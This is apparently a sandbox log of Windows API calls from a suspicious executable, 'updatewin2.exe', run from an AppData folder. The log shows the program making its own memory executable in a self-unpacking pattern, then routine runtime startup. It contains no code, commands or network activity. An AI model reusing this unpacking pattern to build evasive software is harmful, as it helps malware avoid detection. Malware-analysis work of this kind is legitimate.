GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0056.959] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0056.959] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0056.960] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0056.960] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0056.960] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.960] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0056.960] SetErrorMode (uMode=0x400) returned 0x0 [0056.960] SetErrorMode (uMode=0x0) returned 0x400 [0056.960] GetVersionExA (in: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e568*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.960] VirtualAlloc (lpAddress=0x0, dwSize=0x2d800, flAllocationType=0x1000, flProtect=0x4) returned 0x220000 [0056.965] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5f0 | out: lpflOldProtect=0x18f5f0*=0x2) returned 1 [0056.993] VirtualFree (lpAddress=0x220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.994] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0056.994] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0056.994] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSize") returned 0x76c3196e [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0056.995] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0056.996] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0056.997] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0056.998] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0056.999] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0056.999] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0056.999] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0056.999] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxA") returned 0x74fafd1e [0056.999] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0056.999] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0056.999] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0056.999] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0056.999] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0057.002] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0057.002] atexit (param_1=0x5863d8) returned 0 [0057.003] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5f4 | out: lpSystemTimeAsFileTime=0x18f5f4*(dwLowDateTime=0xb457dcf0, dwHighDateTime=0x1d55a45)) [0057.003] GetCurrentThreadId () returned 0x8c0 [0057.003] GetCurrentProcessId () returned 0x8bc [0057.003] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5ec | out: lpPerformanceCount=0x18f5ec*=17729276638) returned 1 [0057.012] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.013] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.013] GetLastError () returned 0x57 [0057.014] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.014] GetLastError () returned 0x57 [0057.014] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0057.014] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0057.014] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.014] GetLastError () returned 0x57 [0057.014] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0057.014] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0057.016] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.016] GetLastError () returned 0x57 [0057.016] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.016] GetLastError () returned 0x57 [0057.016] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0057.016] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0057.016] GetProcessHeap () returned 0x570000 [0057.016] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.016] GetLastError () returned 0x57 [0057.016] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0057.016] GetLastError () returned 0x57 [0057.017] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0057.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x364) returned 0x59ad00 [0057.018] SetLastError (dwErrCode=0x57) [0057.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xc00) returned 0x59b070 [0057.019] GetStartupInfoW (in: lpStartupInfo=0x18f528 | out: lpStartupInfo=0x18f528*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033e0, hStdOutput=0x9564621f, hStdError=0xfffffffe)) [0057.019] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0057.019] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0057.019] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0057.019] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe\" " [0057.019] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe\" " [0057.019] IsValidCodePage (CodePage=0x4e4) returned 1 [0057.019] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f548 | out: lpCPInfo=0x18f548) returned 1 [0057.019] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18ee10 | out: lpCPInfo=0x18ee10) returned 1 [0057.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.019] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eba8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0057.019] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x18ee24 | out: lpCharType=0x18ee24) returned 1 [0057.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0057.020] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0057.020] GetLastError () returned 0x57 [0057.020] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0057.020] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.020] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e948, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0057.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f324, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÇÌ=\x95`õ\x18", lpUsedDefaultChar=0x0) returned 256 [0057.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f424, cbMultiByte=256, lpWideCharStr=0x18eb78, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0057.020] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0057.020] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18e968, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0057.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f224, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ 